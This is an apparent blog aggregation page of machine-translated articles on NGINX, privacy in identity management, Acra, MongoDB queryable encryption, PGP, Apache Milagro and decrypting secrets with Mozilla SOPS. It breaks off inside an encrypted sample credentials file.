许多软件组件的单一用途或点解决方案功能可能导致多层应用程序交付堆栈。尽管这些栈是由“最好的”组件构建的,但是操作起来很复杂,很难排除故障,并且具有不一致的性能和可伸缩性。NGINX Plus将此功能聚合到一个软件平台上。
NGINX Plus可以应用于各种各样的问题,比如API交付,使用经过验证的、熟悉的、不影响性能或稳定性的技术。
原文:https://www.nginx.com/blog/consolidating-your-api-gateway-and-load-balancer-with-nginx/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 37 次浏览
【访问控制】隐私必须是身份和访问管理的核心
视频号
微信公众号
知识星球
互联网已成为我们日常生活的一部分,而我们的个人信息已成为商业商品和安全风险。个人数据被自由地传递给在线企业,但他们建立消费者信任的能力却严重缺失。
企业通过其捕获的数据与用户的联系越来越紧密。这些数据越来越多地被输入到驱动人工智能和机器学习的算法中。衍生的分析提供了见解,帮助公司更好地为客户和员工服务,同时改善其业务运营。
公司利用个人信息形成其用户的全面形象。除了改善客户关系的商业智能价值外,用户信息还应用于身份和访问管理(IAM),以控制对应用程序、设备和数字资源的访问。虽然IAM的重点主要集中在保护业务资产,但较少关注保护用户隐私。然而,情况正在发生变化。
公司必须做好数据管理
所有用户信息公司都会提示我们提出重要问题。他们在用它做什么?当前员工或客户不再与企业有关系时,数据应保存在哪里?数据是否准确?它多久更新一次,如何更新?用户是否知道他们的数据正被收集并用于各种商业目的,并被分享或出售给第三方?
企业必须回答这些身份和隐私问题和担忧,并且必须对收集的用户信息更加透明。随着大量用户信息和不断增加的法规,IAM成为管理隐私、身份、访问和存储信息的关键解决方案。用户有权要求提供他们的数据,决定他们是否希望公司保留这些数据,并控制如何使用这些数据。
GDPR和《加州消费者隐私法》(CCPA)正促使公司不仅仅关注这些问题,而且有充分的理由。这不仅仅是管理数据的问题;它需要了解用户身份和隐私保护。
隐私正成为IAM的固有部分,因为公司将用户信息应用于访问管理策略,同时也为业务挖掘和货币化信息。IAM正在成为管理隐私、保护用户和公司的战略工具,将数据收集做法与GDPR和CCPA等法规相一致。
寻找在设计中内置隐私的IAM解决方案,在整个系统中嵌入隐私框架,并使用业务支持的最佳实践方法。
系统就绪性评估
我希望所有企业都已经进行了GDPR准备评估,但我怀疑还有很多公司没有进行CCPA评估。数字系统评估是对IT环境、工作流程和用户意识的全面检查,以确保法规遵从性。除了最初的全面准备评估外,还必须进行持续的评估,以确保持续的法规遵从性。
数据评估和补救
数据补救可以显著降低公司的风险和相关成本。通过识别需要清理和/或修改以符合法规的数据存储,这对于协调身份和隐私至关重要。数据修复有助于减轻存储不符合要求的数据的风险,并帮助公司知道他们拥有哪些数据,以便他们可以删除这些数据或将其提供给请求这些数据的用户。
这是一种不知情的行为,它会让一家企业蒙上阴影。公司拥有遍布其组织、子公司和业务伙伴的个人用户信息。当合并或收购具有相同用户信息的公司时,管理数据变得更加复杂。数据评估将识别和修正整个组织的数据。
IAM解决方案现在正在使用人工智能和机器学习来梳理遍布整个组织的数百万记录。他们为不再是客户或员工的用户寻找驾驶执照和社会安全号码等异常情况。他们还训练算法来查找诸如民族起源和宗教归属之类的关键词,以找到不需要存储的数据。
当员工离职、被解雇或被解雇,且其内部账户未被禁用时,公司面临风险。这些孤立的帐户提供对公司系统和应用程序的访问。数据评估可以识别这些帐户并对其进行补救。
有许多技术和策略可以解决身份和隐私问题。然而,如果没有全面的数据评估,它们的效率就会降低,在某些情况下甚至是无用的。你无法解决你不知道的问题。
员工意识和培训
在了解法规遵从性方面,公司员工处于第一线,他们的行为可能会产生商业影响。员工对法规遵从性问题的意识是另一层保护。就这些问题提供培训和教育是绝对重要的。
隐私是人人享有的权利,需要加以保护。管理IAM系统的人员必须接受尊重隐私的培训和教育。公司应为员工提供培训和教育,无论他们在家、在现场还是在办公室。您还应确保IAM解决方案满足您公司的法规遵从性要求,并寻找提供管理用户数据认证的IAM供应商。
国际隐私专业协会(IAPP)提供隐私培训和认证,以帮助组织管理风险和保护用户数据。
获得对用户数据的控制
CCPA表示,公司有45天的时间回应个人信息请求。你准备好了吗?战略规划和理论分析对于满足CCPA合规性非常重要。管理身份、访问和隐私需要实施技术解决方案、流程、工作流程和员工意识。这就是将规划和分析转化为可操作的解决方案,以及季度评估,以确保数据和隐私得到妥善管理的原因。
- 22 次浏览
数据安全
- 434 次浏览
「数据安全」介绍ACRA-开源数据库安全套件
如果您担心数据安全性,这意味着要面对需要警惕和防御各种攻击的威胁形势。 攻击的主要目标之一仍然是存储在后端数据库存储中的敏感数据。 从简单发现不安全的数据库,到经典的SQL注入技术,再到允许批量复制数据库内容的受损基础架构,攻击更加注重数据资产的精确度。
来自哥萨克实验室的Acra提供了一系列新颖且成熟的技术,旨在保护存储在后端数据库系统中的敏感数据。 Acra将这些作为一套易于使用,部署和自动化的数据库保护工具提供。
Acra提供三个主要功能,使您能够:
- 使用强大的,经过验证的加密方案有选择地保护敏感记录。
- 监视请求流到数据库以防止恶意请求。
- 将这些安全功能部署在一个隔离良好的基础架构中,在这个基础架构中,已知并理解风险和攻击面。
Acra可以部署在传统的数据库前端Web服务和大型,微服务丰富的基础架构中。与许多其他数据库加密工具不同,Acra与您现有的基础架构集成,无需重建组件即可添加安全层。此外,Acra的选择性加密功能不仅可以与您的应用程序集成,还可以集成迁移脚本,归档数据转储以及任何涉及数据库请求的过程。
Acra使用GoLang构建,目前支持PostgreSQL数据库以及Ruby,Python,PHP,Node.js或GoLang应用程序开发环境。 Acra被授权为Apache 2开源软件。
Acra如何运作?
Acra使前端应用程序代码能够使用一组仅加密密钥有选择地加密数据。 然后将加密数据(通过AcraProxy服务)传输到数据库。 访问数据的请求通过AcraServer路由 - 一个包含解密密钥的网络服务,解密数据并通过安全连接将响应转发给应用程序。 此外,可以将AcraServer配置为检测意外请求并采取适当的操作。
- 144 次浏览
【MongoDB】MongoDB可查询加密简介
MongoDB 6.0引入了一个预览功能,它实现了一个近乎神奇的功能,即允许将加密数据用作搜索目标,而无需将密钥传输到数据库。
出于可以理解的原因,可查询加密是MongoDB World 2022的主要吸引力。它引入了一种独特的功能,可在多种使用情况下减少机密数据的攻击面。特别是,数据在插入、存储和查询时保持加密。查询和它们的响应都通过导线加密,并随机化以进行频率分析。
其结果是,应用程序可以支持需要搜索分类数据的用例,而不会在数据存储基础设施中以明文形式公开。出于显而易见的原因,持有私人信息的数据存储是黑客的主要目标。MongoDB的加密字段意味着该信息在数据库中始终是加密安全的,但仍可用于搜索。事实上,数据库根本不保存用于解密数据的密钥。这意味着,即使完全破坏数据库服务器也不会导致私人信息的丢失。
消除了几个突出和复杂的攻击向量。例如:
- 不道德或被黑客入侵的数据库管理员帐户。
- 访问磁盘文件。
- 访问内存数据。
这有点像散列密码。出于同样的原因,我们在数据库中散列密码,因此黑客甚至数据库管理员都无法查看密码。当然,最大的区别在于,散列密码是单向的。您可以验证密码是否正确,但仅此而已。无法查询这样的字段,也无法恢复明文。可查询加密保留了处理字段的能力。
该系统另一个有趣的特点是,字段以随机方式加密,因此相同的值将在不同的运行中输出不同的密文。这意味着系统也能抵抗频率分析攻击。该系统通过控制哪些客户端有权访问密钥,允许严格区分对搜索结果具有查看权限的客户端和没有查看权限的客户。
例如,应用程序可能存储机密信息,如信用卡号,以及不太敏感的信息,如用户名。非特权客户端可以通过不为客户端提供加密密钥,以严格的方式查看用户名,而不是信用卡。有权访问密钥的客户端可以在搜索中查看和使用信用卡,同时在发送、搜索、存储和检索信用卡的步骤中对卡号进行加密。
可查询加密的权衡
当然,所有这些都是有代价的。具体而言,对于涉及加密字段的查询,存在空间和时间要求的成本。(MongoDB指南对加密数据的额外存储要求约为2-3倍,但预计未来会下降)。
查询加密数据是由MongoDB处理的,它将元数据合并到加密集合本身,以及带有其他元数据的单独集合中。这说明了使用这些数据集以及实际加密和解密工作时存储和时间需求的增加。
此外,还存在必须以密钥管理服务(KMS)的形式支持的体系结构复杂性,以及使用它的编码开销以及加密和解密工作本身。
可查询加密的工作原理
在最高级别,它类似于图1。
Figure 1. High-level architecture of queryable encryption
图1说明了系统添加了一个架构组件:KMS。典型事件流的另一个变化是,数据和查询通过MongoDB驱动程序进行加密和解密。KMS提供了该过程的密钥。
自动和手动加密
可查询加密有两种基本模式:自动和手动。在自动模式下,MongoDB驱动程序本身处理加密和解密。在手动中,应用程序开发人员使用KMS中的密钥进行更多的实践工作。
密钥类型:客户主密钥(CMK)和数据加密密钥(DEK)
在可查询加密系统中,有两种类型的密钥:客户主密钥(CMK)和数据加密密钥(DEK)。DEK是用于加密数据的实际工作密钥。CMK用于加密DEK。这提供了额外的安全性。客户端应用程序本身可以仅通过首先使用CMK对DEK进行解密来使用DEK(以及用它加密的数据)。
因此,即使DEK以其加密形式公开,如果攻击者无法访问CMK,它也是无用的。该架构可以被安排为使得客户端应用程序从不持有CMK本身,如下面使用密钥管理服务所述。底线是,双密钥安排是私钥的额外安全层。
数据加密密钥(DEK)存储在额外密钥库集合中,如下所述。
钥匙保管库
数据使用对称密钥加密。这些密钥属于应用程序开发人员,永远不会发送到MongoDB。它们存储在钥匙库中。管理密钥有三种基本场景,按安全性升序如下所述。
本地文件密钥提供程序。
- 仅适用于开发。
- 密钥与应用程序一起存储在本地系统中
KMIP(密钥管理互操作性协议)提供程序。
- 适用于生产,但安全性不如使用KMS提供商。
- 客户主密钥(CMK)被传输到客户端应用程序
完整的KMS(密钥管理服务)提供者。适合生产
- 支持的云KM包括:AWS、Azure和GCP
- 支持本地HSM(硬件安全模块)和KMS
- 只有数据加密密钥传输到客户端应用程序
用于开发的本地密钥提供者
在开发时,应用程序开发人员可以生成密钥(例如,使用OpenSSL)并将其存储在本地。然后,这些密钥用于加密和解密发送到MongoDB实例的信息。这仅用于开发,因为它在密钥中引入了一个主要漏洞,从而降低了可查询加密的许多优势。
KMIP提供商
有许多KMIP实现(包括开源)和商业服务。在这种情况下,CMK存储在KMIP提供程序中,并在需要加密或解密DEK以供使用时传输到客户端应用程序。如果密钥库集合被破坏,数据将保持安全。这种布置如图2所示。
Figure 2. KMIP architecture outline
KMS提供商
通过使用KMS提供商(如AWS、Azure或GCP),客户主密钥永远不会暴露给网络或客户端应用程序。相反,KMS提供加密DEK的服务。DEK本身被发送到KMS,加密后作为密码文本返回,然后存储在MongoDB中的一个特殊密钥库集合中。
然后可以以类似的方式用KMS检索和解密存储的DEK,再次防止CMK本身的暴露。与KMIP一样,如果密钥库集合被破坏,数据将保持安全。
您可以在图3中看到这个布局。
Figure 3. KMS Architecture outline
结论
可查询加密是一种预览功能,目前仅支持相等查询。路线图上还有更多的查询类型,如范围。
尽管它需要额外的设置,可查询加密为需要搜索机密数据的用例提供了一个关键功能,而这是以任何其他方式都无法实现的。这是一种引人注目的独特能力。
有关加密的更多信息:
- 4 hot areas for encryption innovation
- 5 myths about data encryption
- The race for quantum-proof cryptography
Next read this
- The 10 most powerful cybersecurity companies
- 7 hot cybersecurity trends (and 2 going cold)
- The Apache Log4j vulnerabilities: A timeline
- Using the NIST Cybersecurity Framework to address organizational risk
- 11 penetration testing tools the pros use
本文:
- 171 次浏览
【信息安全】什么是PGP加密?它是如何工作的?
Pretty Good Privacy(PGP)是一种加密系统,用于发送加密电子邮件和加密敏感文件。自1991年发明以来,PGP已成为电子邮件安全的事实标准。
PGP的流行基于两个因素。首先,该系统最初是作为免费软件提供的,因此在那些希望为其电子邮件提供额外安全级别的用户中迅速传播。第二,由于PGP同时使用对称加密和公钥加密,它允许从未见过面的用户在不交换私钥的情况下互相发送加密消息。
如果您想提高电子邮件的安全性,PGP提供了一种相对简单且经济高效的方法。在本指南中,我们将向您展示如何。
- PGP加密使用
- 利弊
- PGP解决方案
- PGP常见问题
PGP加密是如何工作的?
PGP与您可能听说过的其他加密系统共享一些功能,例如Kerberos加密(用于验证网络用户)和SSL加密(用于保护网站)。
在基本级别上,PGP加密使用两种加密形式的组合:对称密钥加密和公钥加密。
为了了解PGP是如何工作的,请看一个图表:
加密背后的数学可能会变得相当复杂(不过,如果你愿意,你可以看看数学),所以这里我们将坚持基本概念。在最高级别,PGP加密的工作原理如下:
- 首先,PGP使用两种(主)算法中的一种生成随机会话密钥。这个密钥是一个无法猜测的巨大数字,并且只能使用一次。
- 接下来,对会话密钥进行加密。这是使用消息的预期收件人的公钥完成的。公钥与特定人的身份有关,任何人都可以使用它向他们发送消息。
- 发送方将加密的PGP会话密钥发送给接收方,并且他们可以使用私钥对其进行解密。使用此会话密钥,收件人现在可以解密实际消息。
这似乎是一种奇怪的做事方式。为什么要加密密钥本身?
答案很简单。公钥加密比对称加密慢得多(发送方和接收方都有相同的密钥)。但是,使用对称加密要求发送方以明文形式与接收方共享加密密钥,这是不安全的。因此,通过使用(非对称)公钥系统对对称密钥进行加密,PGP将对称加密的效率与公钥密码的安全性结合起来。
PGP加密实例
实际上,发送用PGP加密的消息比上面的解释听起来更简单。让我们看看ProtonMail——作为一个例子。
ProtonMail本机支持PGP,加密电子邮件所需做的就是选择Sign Mail。你会在他们邮件的主题行看到一个挂锁图标。电子邮件将如下所示(出于隐私原因,电子邮件地址已变得模糊):
ProtonMail与大多数提供PGP的电子邮件客户端一样,隐藏了消息加密和解密的所有复杂性。如果您与ProtonMail之外的用户通信,则需要首先向他们发送公钥。
因此,尽管消息是安全地发送的,但是接收者不必担心这样做的复杂性。
PGP加密使用
基本上,PGP有三个主要用途:
- 发送和接收加密电子邮件。
- 正在验证向您发送此邮件的人的身份。
- 加密存储在设备或云中的文件。
在这三种用途中,第一种——发送安全电子邮件——是目前PGP的主要应用。但让我们简单地看一下这三个
加密电子邮件
在上面的例子中,大多数人使用PGP发送加密的电子邮件。在PGP的早期,它主要被活动家、记者和其他处理敏感信息的人使用。事实上,PGP系统最初是由一位名叫paulzimmerman的和平与政治活动家设计的,他最近加入了最受欢迎的私人搜索引擎Startpage。
如今,PGP的普及率已经显著提高。随着越来越多的用户意识到公司和政府正在收集多少信息,现在有大量的人使用这个标准来保护他们的私人信息。
数字签名验证
PGP的一个相关用途是它可以用于电子邮件验证。例如,如果记者不确定向其发送消息的人的身份,他们可以使用PGP旁边的数字签名来验证这一点。
数字签名的工作原理是使用一种算法将发送者的密钥与他们发送的数据相结合。这将生成一个“哈希函数”,这是另一种可以将消息转换为固定大小的数据块的算法。然后使用发送方的私钥对其进行加密。
然后,消息的接收者可以使用发送者的公钥解密这些数据。即使邮件中有一个字符在传输过程中发生了变化,收件人也会知道。这可能表明发送者不是他们所说的人,他们试图伪造数字签名,或者消息被篡改。
加密文件
PGP的第三个用途是加密文件。由于PGP使用的算法(通常是RSA算法)本质上是不可破解的,因此PGP提供了一种高度安全的静态文件加密方法,尤其是与威胁检测和响应解决方案一起使用时。事实上,这种算法是如此安全,它甚至被用于高知名度的恶意软件,如CryptoLocker恶意软件。
早在2010年,赛门铁克就收购了PGP公司,后者持有PGP系统的使用权。此后,赛门铁克通过赛门铁克加密桌面和赛门铁克加密桌面存储等产品成为PGP文件加密软件的主要供应商。该软件为您的所有文件提供PGP加密,同时还隐藏了加密和解密过程的复杂性。
我需要很好的隐私加密吗?
是否需要使用PGP加密将取决于您希望通信(或文件)的安全程度。与任何隐私或安全软件一样,使用PGP需要在发送和接收消息时多做一些工作,但也可以显著提高系统的抗攻击能力。
让我们仔细看看。
PGP加密的优点
PGP加密的主要优点是它本质上是不可破解的。这就是为什么它仍然被记者和活动家使用,以及为什么它常常被视为改善云安全的最佳方式。简而言之,任何人——无论是黑客还是国家安全局——根本不可能破解PGP加密。
尽管有一些新闻指出PGP的一些实现存在安全缺陷,例如Efail漏洞,但必须认识到PGP本身仍然非常安全。
PGP加密的缺点
PGP加密最大的缺点是它没有那么好用。这一点正在发生变化——感谢我们即将推出的现成解决方案——但使用PGP可以为您的日常日程安排增加大量额外的工作和时间。此外,那些使用该系统的人需要知道它是如何工作的,以防他们不正确地使用它而引入安全漏洞。这意味着,考虑转向PGP的企业将需要提供培训。
出于这个原因,许多企业可能想考虑替代方案。例如,像Signal这样的加密信息应用程序提供了更简单易用的加密。在存储数据方面,匿名化可以是加密的一个很好的替代方法,并且可以更有效地利用资源。
最后,您应该知道PGP加密您的消息,但它不会使您匿名。与使用代理服务器或通过VPN隐藏真实位置的匿名浏览器不同,通过PGP发送的电子邮件可以追踪到发件人和收件人。他们的主题行也没有加密,所以你不应该把任何敏感信息放在那里。
如何设置PGP加密?
在绝大多数情况下,设置PGP加密需要下载电子邮件程序的附加组件,然后按照安装说明进行操作。Thunderbird、Outlook和Apple Mail都有类似的附加组件,我们将在下面介绍这些。近年来,我们也看到了一些默认包含PGP的在线电子邮件系统的出现(最著名的是ProtonMail)。
对于那些希望使用PGP加密文件的人,有许多大型软件解决方案可用。例如,Symantec提供基于PGP的产品,例如用于加密通过网络共享的文件的Symantec File Share Encryption和用于在台式机、移动设备和可移动存储上进行全磁盘加密的Symantec Endpoint Encryption。
PGP加密软件
如果您希望开始使用PGP加密,这通常需要下载一个软件来自动进行加密和解密。有许多不同的产品可以做到这一点,但你应该知道什么寻找。
如何选择PGP软件
- 使用PGP的主要原因是为了确保消息的安全性。因此,在寻找PGP软件时,安全性应该是您首先考虑的问题。尽管PGP本身是牢不可破的,但也有一些特定的实现遭到破坏的情况。除非您是一个有经验的程序员,否则发现这些漏洞基本上是不可能的,因此最好的解决方案是检查您正在考虑的软件中报告的任何漏洞。
- 除此之外,选择PGP软件还取决于您的个人(或业务)需求。例如,你不太可能需要加密你发送的每封电子邮件,因此为你的日常电子邮件客户端下载一个附加组件可能会有点过头。相反,考虑使用一个在线PGP服务发送重要电子邮件。
- 最后,通过客户支持团队或用户社区,选择一个同时提供专门支持的软件提供商。学习使用PGP通常会在您第一次浏览系统时遇到挫折,在这个阶段您可能需要帮助。
不同的PGP解决方案
根据使用PGP的原因以及需要使用PGP的频率,有几种不同的设置方法。在本节中,我们将重点介绍大多数用户需要从PGP(安全电子邮件)获得什么,而不是加密文件存储,这是一个更复杂的问题。下面是在家庭或商业网络上实现PGP的五种解决方案。
1.gpg4o展望
Gpg4o是最受Windows用户欢迎的PGP解决方案之一,旨在与Outlook 2010–2016无缝集成。
- 优点:Gpg4o提供了简单的电子邮件处理,并与Outlook很好地集成。对于大多数Windows用户来说,它提供了最简单、最友好的PGP插件。
- 缺点:尽管Gpg4o是围绕OpenPGP标准构建的,OpenPGP标准是开源的,并且可以进行详细检查,但是附加组件本身是专有的。此外,附加组件的营业执照目前相对昂贵€56.36,尽管如此,您还可以获得专门的支持。
2.使用GPGTools的Apple Mail
为Mac用户提供PGP加密的标准实现是GPGTools,它是一套软件,为Mac系统的所有区域提供加密。
- 优点:GPGTools与applemail集成良好,如上面的示例所示。它还提供了一个密钥管理器、一个允许您在几乎任何应用程序中使用PGP的软件,以及一个允许您使用命令行执行最常见的密钥管理任务的工具。
- 缺点:尽管GPGTools为Mac用户提供了开始使用PGP加密的最简单方法,但是对主电子邮件使用这种加密会降低Apple邮件的性能。
3.神秘的雷鸟(Thunderbird With Enigmail)
与上面的工具一样,Enigmail被设计成与一个特定的电子邮件客户端(在本例中是Thunderbird)集成。
- 优点:Enigmail有几个关键的优点。第一个是,与Thunderbird一样,该插件与平台无关。其次,这个附加组件是完全开源的,是免费提供的。它也会定期更新,开发团队能够快速响应已识别的恶意软件实例。
- 缺点:与大多数开源软件一样,Enigmail不提供专门的支持。另一方面,用户社区又大又活跃,已经汇编了大量的参考资料来帮助你入门。
4.协议邮件(ProtonMail)
ProtonMail是最早的安全电子邮件提供商之一,也是最受欢迎的电子邮件提供商之一。与上述解决方案不同,ProtonMail通过一个web门户进行操作,这意味着它很容易与您的日常收件箱分离。
- 优点:ProtonMail会自动对其服务的两个用户之间发送的消息使用PGP加密,这减少了设置和使用PGP的大部分复杂性。像这样的服务——Hushmail和Mailfence是类似的——是一种发送偶尔加密的电子邮件的简单方法,而无需重新设置整个系统。
- 缺点:因为ProtonMail通过嵌入在网站中的JavaScript实现PGP,所以有些人并不认为它是完全安全的。也就是说,ProtonMail非常重视他们系统的安全性,并且在改进系统方面非常积极。
5.Android和FairEmail
最后是FairEmail,它将PGP加密扩展到Android手机。这是一个独立的电子邮件应用程序,可以免费使用。
- 优点:对于想在Android手机上使用PGP加密的用户来说,FairEmail是最简单的解决方案。它为您提供了加密消息的选项,而不是默认情况下这样做,因此您可以选择要加密的内容。
- 缺点:由于通过Android使用PGP的情况仍然很少见,FairEmail的用户群体非常小。
很好的隐私常见问题
即使经过以上的解释,你可能仍然有一些问题。以下是关于PGP最常见问题的答案。
问:PGP加密安全吗?
A:是的。虽然PGP已经有20多年的历史了,但是在系统的基本实现中还没有发现漏洞。这就是说,加密你的电子邮件是不够的总安全,你应该始终使用PGP结合一个完整的网络安全套件,包括威胁检测软件。
问:PGP加密是如何工作的?
答:PGP结合了对称加密和公钥加密,为用户提供了一种安全的方式来互相发送消息。
问:什么是最好的PGP软件?
A:“最好的”PGP软件将取决于您的需要。大多数人不需要加密他们所有的电子邮件,因此对大多数人来说,基于网络的PGP电子邮件提供商将是最好的解决方案。也就是说,如果你经常发送需要加密的电子邮件,你可以考虑为你的标准电子邮件客户端下载PGP插件。
问:我需要加密软件吗?
A:要看情况。如果您正在存储客户信息,答案是肯定的。加密你的个人文件不是必要的,但可以大大提高你对网络攻击的防御能力。基于PGP的加密软件通常是最容易使用的,并且是加密文件的好地方。
PGP加密是保护您的数据、隐私和安全的强大工具。它为您提供了一种相对简单、完全安全的发送电子邮件的方法,还允许您验证与您通信的人的身份。由于PGP附加组件也可用于大多数主要电子邮件客户端,因此这种加密形式通常很容易实现。
尽管如此,安全电子邮件只是网络安全的一个方面。您应该确保,除了PGP之外,您还可以使用健壮的数据安全平台和数据丢失预防软件。使用尽可能广泛的工具是确保您的隐私和安全的最佳方式。
原文:https://www.varonis.com/blog/pgp-encryption/
本文:http://jiagoushi.pro/node/1510
讨论:请加小号【chief_engr】
- 872 次浏览
【加密库】Milagro简介
视频号
微信公众号
知识星球
Apache Milagro是一套专门为去中心化网络和分布式系统构建的核心安全基础设施和加密库,同时也为需要互联网规模的以云连接应用程序为中心的软件和物联网设备提供价值。
Milagro的目的是为集中式和专有的单一信任提供商(如商业证书颁发机构和依赖它们的证书支持的密码系统)提供一种安全、积极的开源替代方案。
配对密码学
在过去的十年里,椭圆曲线上的配对一直是密码学中一个非常活跃的研究领域,特别是在去中心化网络和分布式系统中。
配对是在椭圆曲线上定义的一种双线性映射。例子包括威尔配对、泰特配对、最优泰特配对等等。
配对将椭圆曲线上的点对映射到有限域的乘法群中。它们独特的特性使许多以前不可行的新密码协议成为可能。
基于配对的密码学(PBC)正在成为一种复杂问题的解决方案,这些问题被证明是公钥密码学的标准数学所难以解决的,例如基于身份的加密(IBE),由此客户端的身份可以用作其公钥。
在某些用例中,这消除了对PKI基础设施的需求,因为颁发证书的主要原因是将公钥/私钥对绑定到身份,而使用IBE时不需要此功能。
消除证书管理负担使身份管理和密钥生命周期能够在去中心化密码系统本身中进行。
因此,Milagro的去中心化密码系统设计目标是提供比传统PKI更易于扩展和管理的产品,消除根密钥“单一折衷点”的弱点,并无缝适应当今的去中心网络和分布式系统。
配对成为主流
配对是Apache Milagro加密库和产品中的关键构建块。例如,BLS签名在Milagro去中心化信托机构(D-TA)中占有突出地位,而M-Pin协议则用于Milagro ZKP-MFA客户端和服务器。
BLS签名因其签名聚合能力而在加密货币领域得到广泛认可。BLS签名现在正在通过IETF提交审查第一标准化过程。
M-Pin protocolsecond是一种建立在零知识证明基础上的多因素身份验证协议,由英国政府广泛部署在云基础设施和面向公众的部署中。
Zcash实现了他们自己的零知识证明算法zk-SNARKs(零知识简洁非交互式知识论证)第四。zk-SNARKs用于保护Zcash交易的隐私。配对是构建zk-SNARKS的关键因素。
Cloudflare引入了Geo Key Managerfifth,以限制将客户的私钥分发到其数据中心的子集。为了实现这一功能,使用了基于属性的加密,配对再次成为关键的构建块。
可信计算组(TCG)在可信平台模块的规范中指定了ECDAA(椭圆曲线直接匿名认证)。ECDAA是一种用于向验证器证明由可信平台模块(TPM)持有的证明而不暴露由该TPM持有的证明的协议。配对密码学用于构造ECDAA。FIDO Allianceseventh和W3Ceighth也发布了类似于TCG的ECDAA算法。
2015年,NIST(“后NSA”NIST)在其出版物《基于配对的密码学报告》中建议对基于配对的加密进行标准化。
“基于这项研究,该报告提出了一种将基于配对的密码方案纳入NIST密码工具包的方法。正如我们所看到的,基于配对的加密有很多可供选择的。基于配对的方案,如IBE,提供了传统PKI无法直接提供的特殊特性ice添加到NIST的加密工具包中。我们特别关注IBE。IBE简化了基于证书的公钥基础设施的密钥管理程序。IBE还提供了有趣的功能,这些功能源于将附加信息编码到用户身份中的可能性。自从第一个IBE计划提出以来,已经有十年的时间了。这些方案已经得到了密码社区的足够关注,并且没有发现任何弱点。“
---NIST,基于配对的密码学报告
迈向后量子时代
目前使用的几乎所有公钥密码系统的安全性都依赖于计算假设,如整数分解(IF)和离散对数(DL)问题,作为其安全性的基础。这些都是当今经典计算机无法解决的问题。1994年,Shorninth证明,基于量子物理定律,IF和DL问题在量子计算机上都很容易解决。因此,如果量子计算机成为现实,几乎所有目前部署的公钥密码系统都将变得完全不安全。
根据NIST在其关于后量子密码学的报告中,“要确保从目前广泛使用的密码系统平稳、安全地迁移到抗量子计算的密码系统,需要付出巨大努力。因此,无论我们能否估计量子计算时代到来的确切时间,我们都必须从现在开始准备我们的信息安全系统,使其能够抵御量子计算。”
大多数专家都有一系列强大的量子计算,足以破解当今即将出现的密码系统,时间从五年到二十年不等。还应该指出的是,量子计算只会将强力密钥搜索速度提高平方根的一倍,因此任何对称算法都可以通过将密钥长度加倍(即,将AES从128位提高到256位)来确保对量子计算机的安全。
Milagro已经开始在其代码库中实现后量子算法,从超奇异的Isogeny密钥封装Leventh协议开始。为什么?
显然,瞬态且不能保持长期价值的数据不需要对后量子对手提供一定程度的保护。当数据被长期保留时,这就成了一个问题。如果数据被收集和存储,并且即使在几十年后仍保持价值,那么它应该受到后量子程度的保护。简言之,当一台工作的量子计算机上线时,你正在保护数据。
希望Apache Milagro将成为对配对协议感兴趣的密码学家的一个安全、无知识产权的创新之岛,为去中心化网络和分布式系统的发展提供急需的核心安全基础设施。
我们希望你能加入我们,成为这段旅程的一部分。
- IETF BLS Signature Internet Draft↩
- IETF M-Pin Informational Draft↩
- UK Government selects M-Pin protocol based authentication provider↩
- Lindemann, R., "What are zk-SNARKs?", July 2018↩
- Geo Key Manager: How It Works↩
- TPM 2.0 Library Specification", September 2016↩
- FIDO ECDAA Algorithm - FIDO Alliance Review Draft 02↩
- Web Authentication: An API for accessing Public Key Credentials Level 1 - W3C Candidate Recommendation↩
- Algorithms for quantum computation: discrete logarithms and factoring↩
- Report on post-quantum cryptography↩
- SIKE↩
- 30 次浏览
【加密解密】使用Mozilla SOPS解密
视频号
微信公众号
知识星球
将机密存储在存储库中,并使用Mozilla SOPS对其进行解密
先决条件
- Codefresh帐户
- 公共和私有GnuGP密钥对
- 凭据yaml,使用Mozilla SOPS加密,并存储在您的存储库中
Java应用程序示例
你可以在GitHub上找到这个示例项目。
示例应用程序从管道中检索系统变量“password”,并使用它对Redis数据库进行身份验证,但您可以自由使用任何类型的数据库。
String password = System.getenv("password");
String host = System.getProperty("server.host");
RedisClient redisClient = new RedisClient(
RedisURI.create("redis://" + password + "@" + host + ":6379"));
RedisConnection<String, String> connection = redisClient.connect();
示例应用程序中还有一个简单的单元测试,确保我们能够读取数据并将数据写入数据库。
加密的凭据文件存储在存储库中(以及公钥):
credentials.yaml
password: ENC[AES256_GCM,data:Jsth2tY8GhLgj6Jct27l,iv:3vcKVoD5ms29R5SWHiFhDhSAvvJTRzjn9lA6woroUQ8=,tag:OjkLvcHxE4m5RSCV7ej+FA==,type:str]
sops:
kms: []
gcp_kms: []
azure_kv: []
lastmodified: '2020-03-30T19:12:49Z'
mac: ENC[AES256_GCM,data:jGMTkFhXjgGMdWBpaSWjGZP6fta3UuYjEsnqziNELQZ2cLScT9v+GKg/c8iJYv1Gfiz3aw4ivYYrWzwmZehIbPHaw3/XBv/VRCQhzRWYKaf6pPFUXIS7XALSf9L9VbGOXL/CGPRae3t3HpaOor+knd6iQk2WR3K9kSeib4RBSCE=,iv:WSP8hBwaBv3ymTGltBOaVVC1sT08IG4hwqESlG8rN9w=,tag:3hZvCuql+ASWe/Mm5Bl7xg==,type:str]
pgp:
- created_at: '2020-03-30T19:12:49Z'
enc: |
-----BEGIN PGP MESSAGE-----
hQGMA9TqgBq6RQVRAQv/UouNaHfxkJ5PwXLvda97Fgj/2ew2VXPAlAnLvoGvTsb2
U4GXcaE7c4mYf7wSKF9k/F0FZTUEnd3CRji/OqjrNyvj5zI/9KGRABCKvzjsx+ZG
JolVnDifHl78Mor1CUPQ4JXasHKbVSlNLMGgDHIsvpeC7f7pIi8YDUDIa3/zXhFK
jcKzz4nlrW1Ph8zukmQk49Xvv6+DFj2NTptOB3U6mh79RCdnyCSRHxA3f0X00Pi5
g0p5x46S5E04uC2wXrZv8i/gyQbLHxwjmdbLq+P1Peu4/i9eSZZOpx0mc1KJ2mjr
oKRvgnUFz3xuYrSNzjC1vM01UbuSytlwx+S3J7VVLPSZRso1sbgv2+ylUOAHS+gZ
64uL0j/BZrF4wZI8y8zr0nJ6cZLiiF3LeXhfcuWJJ7+5p1OBEvfO+sWorLahIZTw
pogYPDpz4rGnrJRKBkNsVlYuUG8aNerIfhEBr6n//VJtt7QXTEXraLCTt4a6z/Fl
R6YSeNCKWQlURrTfm4Kv0lwBzMTLUb+Fg3HO8ShhiE9/2dKTSJkRJMVXRDp22Fm1
vO/wMFUjg6Dkrj1LVqQ9zcXc5QElgc4mF/V7SazacbQ7/g67tVtUrTit9LXgR9A0
k7wU5iT5oWLJtWwpkA==
=Il2p
